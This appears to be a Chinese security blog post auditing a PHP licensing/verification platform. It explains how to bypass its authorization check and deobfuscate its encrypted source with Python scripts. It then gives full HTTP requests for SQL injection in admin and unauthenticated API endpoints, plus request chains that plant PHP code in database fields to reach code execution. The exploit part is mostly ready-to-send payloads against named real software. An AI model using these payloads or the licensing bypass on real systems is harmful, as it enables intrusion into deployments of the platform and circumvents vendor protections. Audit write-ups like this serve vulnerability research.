某網絡驗證平臺代碼審計
前言
剛過完年的時候在XXX社區看到了這篇文章《記一次滲透實戰-代碼審計到getshell》
通過搜索發現對應的是 冰心網絡驗證
http://wlyz.bingxs.com/ 于是嘗試在本地進行安裝進行審計
下載安裝包
https://teorun.lanzout.com/izfhn
下載安裝后,我們看到如果利用 phpstudy 設定域名,或者非 127.0.0.1 的 ip 地址時均需要進行授權

具體的校驗,我們可以查看代碼 index.php 中包含了 core/common.php

core/common.php 被進行了加密,猜測是當設定了域名或者 127.0.0.1 的 ip 時,就向官網進行授權驗證,所以既可以通過 127.0.0.1 來進行分析,也可以通過屏蔽 host 來實現繞過。

繼續進行分析時,發現部分代碼進行了加密 core/lib/Db.php

新學到的知識點,通過動態調試來獲取文件代碼(只在 vscode 上執行成功,phpstom 上會提示 Cannot find a local copy of the file on server 就是本地文件與遠程文件不匹配)
我們找到調用加密文件的位置
app\admin\controller\Home.php

管理員登錄的地方會調用 core/lib/Db.php 文件,添加斷點,啟動調試,然后管理員登錄
程序執行到斷點位置后,單步調試進入程序內部,發現會生成臨時文件,將文件進行了解密

如此可以得出所有文件
在線格式化
http://dezend.qiling.org/format/
同時也可以通過這種方法,獲取文件的源代碼
將文件中的 eval 替換為 echo


將獲取的數值替換后半部分,同時 eval 再次替換為 echo

查看網頁源代碼就獲取了文件的代碼

根據解密過程寫一個解密腳本
import osimport refilename = "index.php"with open(filename, 'r') as read_file: contents = read_file.read() decode_content = contents.replace("eval","echo")with open(filename,'w') as write_file: write_file.write(decode_content)os.system("php "+filename+"> 1.php")with open("1.php", 'r') as read_file: content1 = read_file.read() decode_content1 = content1.replace("eval","echo") with open("1.php", 'w') as write_file: data = re.findall(';(e.*?\;)',decode_content)[0] data = decode_content.replace(data,decode_content1) write_file.write(data)os.system("php 1.php > "+filename)os.unlink("1.php")
大佬的解密腳本!!差距呀!!!
import shutilimport osimport re
def decode(fileName): tempFile = "temp.php" originContent = open(fileName,'r').read() dataList = re.findall('(\<\?php.*?\>)',originContent.replace('', ' ').replace('\r', ' ')) fileResult = "" for data in dataList: flag = 0 while(1): Content = open(fileName,'r').read() if(flag == 0): Content = data flag = 1 if len(Content) <= 10: Content = data if 'eval' in Content: tempContent = Content.replace("eval","echo") open(fileName,'w').write(tempContent) os.system("php {fileName} > {tempFile}".format(fileName=fileName,tempFile=tempFile)) shutil.copyfile(tempFile, fileName) else: try: result = re.findall('(eval\(.*?\);)',data)[0] result = data.replace(result,"echo('+Content) open(fileName,'w').write(result) shutil.copyfile(fileName, tempFile) os.system("php {tempFile} > {fileName}".format(tempFile=tempFile,fileName=fileName)) os.unlink(tempFile) break except: open(fileName,'w').write(data) shutil.copyfile(fileName, tempFile) os.system("php {tempFile} > {fileName}".format(tempFile=tempFile,fileName=fileName)) os.unlink(tempFile) break fileContent = open(fileName,'r').read() fileResult += fileContent open(fileName,'w').write(fileResult)
def banner(): logo = r""" .__ __ ________ .___ ______ | |__ ______ |__| _____ \______ \ ____ ____ ____ __| _/____ \____ \| | \\____ \ | |/ \ | | \_/ __ _/ ___\/ _ \ / __ _/ __ \ | |_> | Y | |_> > | | Y Y \ | ` \ ___\ \__( <_> / /_/ \ ___/ | __/|___| | __/\__| |__|_| / /_______ /\___ \___ \____/\____ |\___ >|__| \/|__| \______| \/ \/ \/ \/ \/ \/
Powered by dota_stBlog's: https://www.wlhhlc.top/""" print(logo)
def main(): fileName = "test.php" while(1): result = open(fileName,'r').read() print(f"\033[1;32m====================...Decrypting...========================\033[0m"+"") print(result+"") print(f"\033[1;32m============================================================\033[0m") flag = re.findall(r'({[0-9]})',result) if flag: decode(fileName) else: print(f"\033[1;34m[*]Decryption complete!\033[0m") break
if __name__ == '__main__': banner() main()
通過正則匹配找到對應未對 SQL 語句處理的位置

SQL注入
\app\admin\controller\CardType::softwareLists

\app\admin\model\CardType::softwareLists

\core\lib\Db::select

POST /index.php/admin/CardType/softwareLists HTTP/1.1Host: 127.0.0.1Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: http://127.0.0.1/index.php/admin/Home/showAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: PHPSESSID=8b1o7tqo2aedu3gdrj90v6knq3; admin_u=admin; admin_p=f64atEq5kjA7cR3BwkHZlxS%2BaexYaVI%2FOGRtPdJ4zNJbqw;XDEBUG_SESSION=PHPSTORMConnection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 49 id=1+and+updatexml(1,concat(1,(select+user())),1)

后臺其實存在兩個后臺 admin 和 agent agent 存在默認用戶但是無法登錄,所以對應尋找前臺注入時應該關注 /api 模塊下的數據
\app\api\controller\Common

只要繼承了 Common 的類都可以實現sql 注入

POST /index.php/api/SingleCard/1 HTTP/1.1Host: 127.0.0.1Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: http://127.0.0.1/index.php/admin/Home/showAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: PHPSESSID=8b1o7tqo2aedu3gdrj90v6knq3; admin_u=admin; admin_p=f64atEq5kjA7cR3BwkHZlxS%2BaexYaVI%2FOGRtPdJ4zNJbqw;XDEBUG_SESSION=PHPSTORMConnection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 56 data=1&id=1+and+updatexml(1,concat(1,(select+user())),1)

命令執行


我們全局搜索 eval ,發現會去執行從數據庫查詢的值。而通過注入我們這個值是可控的

如此構造注入語句的話就可以實現代碼執行,但是我們在前端進行測試的時候,并未成功

單引號會被轉義,所以無法執行成功,我們已經知道會去執行數據庫中的值,我們現在就是要找到傳入并可控的位置
app/admin/model/Software.php 中有對 software 數據庫的添加操作,但是對應需要設定的兩個字段 defined_encrypt 與 encrypt 均為設定的值

通過 editEncrypt 可以對參數 defined_encrypt 與 encrypt 進行修改
\app\admin\controller\Software::editEncrypt

所以構造這三個數據包,就可以實現代碼執行了
POST /index.php/admin/Software/add HTTP/1.1Host: 127.0.0.1Content-Length: 275Accept: */*X-Requested-With: XMLHttpRequestUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36Content-Type: application/x-www-form-urlencoded; charset=UTF-8Origin: http://127.0.0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: http://127.0.0.1/index.php/admin/Home/show?mod=softwareAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: PHPSESSID=8b1o7tqo2aedu3gdrj90v6knq3; admin_u=admin; admin_p=12b4fOEuLS6NdNA66%2BSCwJW%2Fe1VAVumKiPYiObDFehqzOgConnection: close name=1&heart_time=180&version=1?ice=1&static_data=1&give_time=1&give_point=1&login_type=1&update_data=1&update_type=1&trial_interval=1&trial_data=1&software_state=1&binding_type=1&bindingdel_type=1&bindingdel_time=1&bindingdel_point=1&restrict_regtime=24&restrict_regnum=3

POST /index.php/admin/Software/editEncrypt HTTP/1.1Host: 127.0.0.1Content-Length: 55Accept: */*X-Requested-With: XMLHttpRequestUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36Content-Type: application/x-www-form-urlencoded; charset=UTF-8Origin: http://127.0.0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: http://127.0.0.1/index.php/admin/Home/show?mod=softwareAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: PHPSESSID=8b1o7tqo2aedu3gdrj90v6knq3; admin_u=admin; admin_p=12b4fOEuLS6NdNA66%2BSCwJW%2Fe1VAVumKiPYiObDFehqzOgConnection: close id=2&encrypt=defined_encrypt&defined_encrypt=phpinfo();

POST /index.php/api/SingleCard/1 HTTP/1.1Host: 127.0.0.1Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: http://127.0.0.1/index.php/admin/Home/showAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: PHPSESSID=8b1o7tqo2aedu3gdrj90v6knq3; admin_u=admin; admin_p=f64atEq5kjA7cR3BwkHZlxS%2BaexYaVI%2FOGRtPdJ4zNJbqw;XDEBUG_SESSION=PHPSTORMConnection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 11 data=1&id=2

另一條鏈路需要構造這樣的數據包
POST /index.php/admin/Software/add HTTP/1.1Host: 127.0.0.1Content-Length: 275Accept: */*X-Requested-With: XMLHttpRequestUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36Content-Type: application/x-www-form-urlencoded; charset=UTF-8Origin: http://127.0.0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: http://127.0.0.1/index.php/admin/Home/show?mod=softwareAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: PHPSESSID=8b1o7tqo2aedu3gdrj90v6knq3; admin_u=admin; admin_p=12b4fOEuLS6NdNA66%2BSCwJW%2Fe1VAVumKiPYiObDFehqzOgConnection: close name=1&heart_time=180&version=1?ice=1&static_data=1&give_time=1&give_point=1&login_type=1&update_data=1&update_type=1&trial_interval=1&trial_data=1&software_state=1&binding_type=1&bindingdel_type=1&bindingdel_time=1&bindingdel_point=1&restrict_regtime=24&restrict_regnum=3

POST /index.php/admin/Software/editEncrypt HTTP/1.1Host: 127.0.0.1Content-Length: 34Accept: */*X-Requested-With: XMLHttpRequestUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36Content-Type: application/x-www-form-urlencoded; charset=UTF-8Origin: http://127.0.0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: http://127.0.0.1/index.php/admin/Home/show?mod=softwareAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: PHPSESSID=8b1o7tqo2aedu3gdrj90v6knq3; admin_u=admin; admin_p=12b4fOEuLS6NdNA66%2BSCwJW%2Fe1VAVumKiPYiObDFehqzOgConnection: close id=3&encrypt=no&defined_encrypt=no

POST /index.php/admin/Software/editRemote HTTP/1.1Host: 127.0.0.1Content-Length: 22Accept: */*X-Requested-With: XMLHttpRequestUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36Content-Type: application/x-www-form-urlencoded; charset=UTF-8Origin: http://127.0.0.1Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: http://127.0.0.1/index.php/admin/Home/show?mod=softwareAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: PHPSESSID=8b1o7tqo2aedu3gdrj90v6knq3; admin_u=admin; admin_p=12b4fOEuLS6NdNA66%2BSCwJW%2Fe1VAVumKiPYiObDFehqzOgConnection: close id=3&remote=phpinfo();

POST /index.php/api/Software/remoteFun HTTP/1.1Host: 127.0.0.1Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentReferer: http://127.0.0.1/index.php/admin/Home/showAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: PHPSESSID=8b1o7tqo2aedu3gdrj90v6knq3; admin_u=admin; admin_p=f64atEq5kjA7cR3BwkHZlxS%2BaexYaVI%2FOGRtPdJ4zNJbqw;XDEBUG_SESSION=PHPSTORMConnection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 20
id=3&data={"name":1}

總結
完事兒完事兒!!!圖片稍微有點兒糊,我也不知道為啥,粘圖也很累。